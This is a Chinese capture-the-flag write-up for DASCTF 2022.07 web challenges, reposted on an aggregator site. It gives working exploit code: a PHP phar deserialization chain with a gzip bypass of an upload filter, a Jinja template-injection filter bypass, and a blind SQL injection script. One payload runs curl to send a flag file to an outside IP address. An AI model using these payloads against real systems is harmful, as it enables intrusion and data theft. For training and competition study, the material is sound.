【Web】DASCTF2022.07赋能赛 题解

目录

Ez to getflag

Harddisk 

绝对防御

Newser 


Ez to getflag

进来有两个功能,一个查看,一个上传

图片查看功能可以任意文件读

 upload.php

<?phperror_reporting(0);session_start();require_once('class.php');$upload = new Upload();$upload->uploadfile();
?>

file.php

<?phperror_reporting(0);session_start();require_once('class.php');$filename = $_GET['f'];$show = new Show($filename);$show->show();
?>

class.php

<?phpclass Upload {public $f;public $fname;public $fsize;function __construct(){$this->f = $_FILES;}function savefile() {  $fname = md5($this->f["file"]["name"]).".png";if(file_exists('./upload/'.$fname)) {@unlink('./upload/'.$fname);}move_uploaded_file($this->f["file"]["tmp_name"],"upload/" . $fname);echo "upload success! :D";}function __toString(){$cont = $this->fname;$size = $this->fsize;echo $cont->$size;return 'this_is_upload';}function uploadfile() {if($this->file_check()) {$this->savefile();}}function file_check() {$allowed_types = array("png");$temp = explode(".",$this->f["file"]["name"]);$extension = end($temp);if(empty($extension)) {echo "what are you uploaded? :0";return false;}else{if(in_array($extension,$allowed_types)) {$filter = '/<\?php|php|exec|passthru|popen|proc_open|shell_exec|system|phpinfo|assert|chroot|getcwd|scandir|delete|rmdir|rename|chgrp|chmod|chown|copy|mkdir|file|file_get_contents|fputs|fwrite|dir/i';$f = file_get_contents($this->f["file"]["tmp_name"]);if(preg_match_all($filter,$f)){echo 'what are you doing!! :C';return false;}return true;}else {echo 'png onlyyy! XP';return false;}}}}class Show{public $source;public function __construct($fname){$this->source = $fname;}public function show(){if(preg_match('/http|https|file:|php:|gopher|dict|\.\./i',$this->source)) {die('illegal fname :P');} else {echo file_get_contents($this->source);$src = "data:jpg;base64,".base64_encode(file_get_contents($this->source));echo "<img src={$src} />";}}function __get($name){$this->ok($name);}
public function__call($name, $arguments){if(end($arguments)=='phpinfo'){phpinfo();}else{$this->backdoor(end($arguments));}return $name;}public function backdoor($door){include($door);echo "hacked!!";}public function __wakeup(){if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {die("illegal fname XD");}}}class Test{public $str;
public function__construct(){$this->str="It's works";}public function __destruct(){echo $this->str;}}
?>

Show类文件操作可以触发phar反序列化 

瞪眼看链子

Test.__destruct -> Upload.__toString -> Show.__get -> Show.__call -> Show.backdoor()

exp: 

<?php
class Upload {public $f;public $fname;public $fsize;
}
class Show{public $source;
}
class Test{public $str;
}$t = new Test();
$t->str = new Upload();
$t->str->fname = new Show('suibian');
$t->str->fsize = '/flag';$phar = new Phar('poc.phar');
$phar->stopBuffering();
$phar->setStub('GIF89a' . '<?php __HALT_COMPILER();?>');
$phar->addFromString('test.txt', 'test');
$phar->setMetadata($t);
$phar->stopBuffering();
?>

 使用gzip压缩来绕过对文件内容的检测

import gzipwith open('poc.phar', 'rb') as file:f = file.read()newf = gzip.compress(f) #对Phar文件进行gzip压缩
with open('poc.png', 'wb') as file:#更改文件后缀file.write(newf)

上传恶意phar文件

<?php
echo md5("poc.png");
//23f1a0f70f076b42b5b49f24ee28f696
?>

读文件触发phar反序列化

/file.php?f=phar://upload/23f1a0f70f076b42b5b49f24ee28f696.png&_=1713073174353

Harddisk 

🤔真准

想是SSTI 

 

fuzz出过滤:

}}, {{, ], [, ], ,  , +, _, ., x, g, request, print, args, values, input, globals, getitem, class, mro, base, session, add, chr, ord, redirect, url_for, popen, os, read, flag, config, builtins, get_flashed_messages, get, subclasses, form, cookies, headers

过滤{{}},我们可以用 {%print(......)%} 或  {% if ... %}1{% endif %} 的形式来代替

过滤print 关键字,则只能用 {% if ... %}success{% endif %} 的形式来bypass。因为无回显,所以要外带数据

过滤了 ]_request 这类常用的字符和关键字,可以用 attr() 配合 unicode 编码绕过

 

遍历找到popen位置是132

import requestsheaders = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36'
}
cl = '\\u005f\\u005f\\u0063\\u006c\\u0061\\u0073\\u0073\\u005f\\u005f'  # __class__
ba = '\\u005f\\u005f\\u0062\\u0061\\u0073\\u0065\\u0073\\u005f\\u005f'  # __bases__
gi = '\\u005f\\u005f\\u0067\\u0065\\u0074\\u0069\\u0074\\u0065\\u006d\\u005f\\u005f'  # __getitem__
su = '\\u005f\\u005f\\u0073\\u0075\\u0062\\u0063\\u006c\\u0061\\u0073\\u0073\\u0065\\u0073\\u005f\\u005f'  # __subclasses__
ii = '\\u005f\\u005f\\u0069\\u006e\\u0069\\u0074\\u005f\\u005f'  # __init__
go = '\\u005f\\u005f\\u0067\\u006c\\u006f\\u0062\\u0061\\u006c\\u0073\\u005f\\u005f'  # __golobals__
po = '\\u0070\\u006f\\u0070\\u0065\\u006e'  # __popen__for i in range(500):url = "http://e06dc629-8d8a-4165-9e03-7a4b5d4982a4.node5.buuoj.cn:81/"payload = {"nickname": '{%if(""|' +f'attr("{cl}")' +f'|attr("{ba}")' +f'|attr("{gi}")(0)' +f'|attr("{su}")()' +f'|attr("{gi}")(' +str(i) +f')|attr("{ii}")' +f'|attr("{go}")' +f'|attr("{gi}")' +f'("{po}"))' +'%}success' +'{%endif%}'}res = requests.post(url=url, headers=headers, data=payload)if 'success' in res.text:print(i)

 数据外带

import requestsheaders = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36'
}
cl = '\\u005f\\u005f\\u0063\\u006c\\u0061\\u0073\\u0073\\u005f\\u005f'  # __class__
ba = '\\u005f\\u005f\\u0062\\u0061\\u0073\\u0065\\u0073\\u005f\\u005f'  # __bases__
gi = '\\u005f\\u005f\\u0067\\u0065\\u0074\\u0069\\u0074\\u0065\\u006d\\u005f\\u005f'  # __getitem__
su = '\\u005f\\u005f\\u0073\\u0075\\u0062\\u0063\\u006c\\u0061\\u0073\\u0073\\u0065\\u0073\\u005f\\u005f'  # __subclasses__
ii = '\\u005f\\u005f\\u0069\\u006e\\u0069\\u0074\\u005f\\u005f'  # __init__
go = '\\u005f\\u005f\\u0067\\u006c\\u006f\\u0062\\u0061\\u006c\\u0073\\u005f\\u005f'  # __golobals__
po = '\\u0070\\u006f\\u0070\\u0065\\u006e'  # __popen__
cmd = '\\u0063\\u0075\\u0072\\u006c\\u0020\\u0031\\u0032\\u0034\\u002e\\u0032\\u0032\\u0032\\u002e\\u0031\\u0033\\u0036\\u002e\\u0033\\u0033\\u003a\\u0031\\u0033\\u0033\\u0037\\u003f\\u0066\\u006c\\u0061\\u0067\\u003d\\u0060\\u0063\\u0061\\u0074\\u0020\\u002f\\u0066\\u0031\\u0061\\u0067\\u0067\\u0067\\u0067\\u0068\\u0065\\u0072\\u0065\\u0060'
# curl 124.222.136.33:1337?flag=`cat /f1agggghere`
i = 132
url = "http://e06dc629-8d8a-4165-9e03-7a4b5d4982a4.node5.buuoj.cn:81/"
payload = {"nickname": '{%if(""|' +f'attr("{cl}")' +f'|attr("{ba}")' +f'|attr("{gi}")(0)' +f'|attr("{su}")()' +f'|attr("{gi}")(' +str(i) +f')|attr("{ii}")' +f'|attr("{go}")' +f'|attr("{gi}")' +f'("{po}"))' +f'("{cmd}")' +'%}success' +'{%endif%}'
}res = requests.post(url=url, headers=headers, data=payload)

 监听,拿到flag(补全{}即可)

 

绝对防御

vocal进来吓呆了,纯静态啊

在js处做文章了只能

 JSFinder是一款用作快速在网站的js文件中提取URL,子域名的工具。

https://github.com/Threezh1/JSFinder 

访问/SUPPERAPI.php

前端过滤不用管,禁用js即可

 

测出布尔盲注

import requestsurl = "http://947e0e56-2959-4cde-9cd7-e6f58efbee74.node5.buuoj.cn:81/SUPPERAPI.php?id="
flag = ''
for i in range(1, 200):print("------------------" + str(i) + "------------------")low = 32high = 128mid = (low + high) // 2while low < high:# ctf# paylaod="2 and ascii(substr((select database()),{},1))>{}".format(i,mid)# user# paylaod = "2 and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))>{}".format(i, mid)# id,username,password,ip,time,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password# paylaod = "2 and ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='users'),{},1))>{}".format(i, mid)# admin123!,DASCTF{1436c038-a5ac-42a6-bb8b-e34a4769b7fe}paylaod = "2 and ascii(substr((select group_concat(password) from users),{},1))>{}".format(i, mid)r = requests.get(url + paylaod)# print(str(low) + ':' + str(mid) + ':' + str(high))if "flag" in r.text:# print(r.text)low = mid + 1else:high = midmid = (low + high) // 2if mid == 32 or mid == 127:breakflag += chr(mid)print(flag)

Newser 

哎PHP😔

DASCTF2022.07赋能赛Web赛后WP - 枫のBlog

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/312497.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

最新版idea 合并分支方法

前言 以下是最新版的idea2024&#xff0c;如果有人找不到按键可能是因为版本不同。 操作步骤 看右小角我的分支是submit&#xff0c;现在我要将test合并到我的submit分支上 找到test分支&#xff0c;选择update&#xff0c;这一步会拉取相应分支内容等同于pull 选择merge 选…

SQL系统函数知识点梳理(Oracle)

这里写目录标题 函数系统函数转换函数to_date()to_char()将数值转换成字符格式 添加货币符号将日期转换成字符 其他不常用的转换函数 字符型函数连接函数大小写转换函数大写转换小写转换首字母大写&#xff0c;其余的小写 替换函数去除空格函数截取函数填充函数获取字符长度函数…

【Sql Server】锁表如何解锁,模拟会话事务方式锁定一个表然后进行解锁

大家好&#xff0c;我是全栈小5&#xff0c;欢迎来到《小5讲堂》。 这是《Sql Server》系列文章&#xff0c;每篇文章将以博主理解的角度展开讲解。 温馨提示&#xff1a;博主能力有限&#xff0c;理解水平有限&#xff0c;若有不对之处望指正&#xff01; 目录 前言创建表模拟…

图灵奖得主AviWigderson:随机性与AI深度融合,引领计算科学新篇章

近日&#xff0c;理论计算机科学领域的杰出代表Avi Wigderson教授荣获了享有“计算机界诺贝尔奖”美誉的图灵奖&#xff0c;以表彰他对计算中随机性和伪随机性研究的杰出贡献。这一荣誉不仅彰显了Wigderson教授在计算理论领域的卓越成就&#xff0c;也为当前热门的AI和深度学习…

Dubbo面试回答简单版

一、dubbo特性 超时重试机制地址缓存多版本负载均衡&#xff1a;随机、权重轮询、最少活跃调用、一致性哈希集群容错&#xff1a;失败重试、快速失败、失败安全、失败自动恢复、并行调用、广播服务降级&#xff1a;异常时返回mock 集群容错 FailOver 失败重试&#xff0c;读…

Linux——守护进程

在这篇文章中我介绍了关于tcp网络套接字&#xff0c;关于网络套接字编程的问题我会再次讲述一点东西&#xff0c;然后介绍关于守护进程的知识。 1. 关于网络套接字编程的一些问题 在进行套接字编程时我们一定是得先有套接字&#xff0c;并且我们在使用socket的一些接口时&…

阳哥推荐的人力RPO蓝海项目怎么做才会赚钱吗?

近年来&#xff0c;随着互联网的快速发展&#xff0c;人力资源行业也迎来了新的变革。抖音上的阳哥推荐的人力RPO(招聘流程外包)蓝海项目&#xff0c;因其高效、便捷的特点受到了广泛关注。那么&#xff0c;这个项目究竟怎么做才能赚钱呢? 首先&#xff0c;我们需要了解人力RP…

aws云靶场和一些杂记

aws靶场 在AWS靶场中&#xff0c;存在三个安全问题&#xff1a;1) 一个S3存储桶政策配置错误&#xff0c;允许公共访问&#xff0c;通过访问特定域名可获取flag。2) SQS消息队列的政策没有限制角色&#xff0c;允许发送和接收消息&#xff0c;通过aws sqs命令行工具的receive-…

超光速传输:有源DWDM的无限可能✊

&#x1f5fa;&#x1f5fa;随着5G时代的到来&#xff0c;支持更高数据速率、较低延迟和更大传输容量的网络设施大量铺设&#xff0c;满足了人们对高质量通信的现有要求。然而&#xff0c;传统光网络中通常每个业务通过多根光纤进行传输&#xff0c;大大降低了传输效率。为了解…

cesium JulianDate和北京时间转换

关于cesium中时间可参考&#xff1a; cesium Clock JulianDate 日照分析 修改当前时间为北京时间-CSDN博客 有几个概念需要了解一下。 1、GMT、UTC GMT是前世界标准时&#xff0c;UTC是现世界标准时&#xff0c;UTC 比 GMT更精准&#xff0c;不需要精确到秒的情况下&#xf…

太阳能智能语音卡口:环保与智能的完美结合/恒峰智慧科技

随着科技的飞速发展&#xff0c;我们的生活正在经历前所未有的变革。在这场变革中&#xff0c;太阳能智能语音卡口以其独特的魅力&#xff0c;成为环保与智能的完美结合&#xff0c;为我们的生活带来了更多的便捷和环保。 太阳能智能语音卡口&#xff0c;顾名思义&#xff0c;是…

【每日刷题】技巧合集-LC136、LC169

1. LC136.只出现一次的数字 题目链接 解法一&#xff1a; 先给数字排序&#xff0c;如果num[i]与nums[i-1]或nums[i1]都不一致&#xff0c;则返回nums[i]。 class Solution {public int singleNumber(int[] nums) {if (nums.length 1){return nums[0];}Arrays.sort(nums);fo…

基于LabVIEW的CAN通信系统开发案例

基于LabVIEW的CAN通信系统开发案例 介绍了基于LabVIEW开发的CAN通信系统&#xff0c;该系统主要用于汽车行业的数据监控与分析。通过对CAN通信协议的有效应用&#xff0c;实现了车辆控制系统的高效信息交换与实时数据处理&#xff0c;从而提升了车辆性能的检测与优化能力。 项…

Nginx内存池相关源码剖析(一)总览

剖析nginx的内存池源码&#xff0c;讲解原理实现以及该内存池设计的应用场景 介绍 Nginx内存池是Nginx为了优化内存管理而引入的一种机制。在Nginx中&#xff0c;每个层级&#xff08;如模板、TCP连接、HTTP请求等&#xff09;都会创建一个内存池进行内存管理。当这些层级的…

手动实现简易版RPC(下)

手动实现简易版RPC(下) 前言 什么是RPC&#xff1f;它的原理是什么&#xff1f;它有什么特点&#xff1f;如果让你实现一个RPC框架&#xff0c;你会如何是实现&#xff1f;带着这些问题&#xff0c;开始今天的学习。 接上一篇博客 手动实现简易版RPC&#xff08;上&#xff…

【YOLOv9】完胜V8的SOTA模型Yolov9(论文阅读笔记)

官方论文地址&#xff1a; 论文地址点击即可跳转 官方代码地址&#xff1a; GitCode - 开发者的代码家园 官方代码地址点击即可跳转 1 总述 当输入数据经过各层的特征提取和变换的时候&#xff0c;都会丢失一定的信息。针对这一问题&#xff1a; 论文中提出的可编程梯度信息…

MATLAB实现遗传算法优化BP神经网络预测数值(GABP)

遗传算法&#xff08;Genetic Algorithm, GA&#xff09;和反向传播&#xff08;Back Propagation, BP&#xff09;神经网络是两种强大的算法&#xff0c;分别用于优化和机器学习。将遗传算法与BP神经网络结合&#xff0c;可以利用遗传算法的全局搜索能力来优化BP神经网络的初始…

Socket 通信机制详解

Socket 是网络编程中一种重要的通信机制&#xff0c;它允许不同的计算机通过网络进行数据交换。 一、 Socket 的概念 Socket&#xff08;套接字&#xff09;是计算机网络编程中的一种抽象&#xff0c;它提供了在网络上进行通信的接口。 Socket 本质上是一种通信的端点&#…

C++ ─── 类和对象(上)

目录 1.面向过程和面向对象初步认识 2.类的引入 3.类的定义 3.1 类的成员函数两种定义方式&#xff1a; 4.类的访问限定符及封装 4.1 访问限定符 4.2 封装 5.类的作用域 6.类的实例化 7.类对象模型 7.1 如何计算类对象的大小 7.2 结构体内存对齐规则 8.this指针 …

CSS display属性

目录 概述&#xff1a; 设置display示例&#xff1a; none&#xff1a; block&#xff1a; inline&#xff1a; inline-block &#xff1a; 概述&#xff1a; 在CSS中我们可以使用display属性来控制元素的布局&#xff0c;我们可以通过display来设置元素的类型。 在不设置…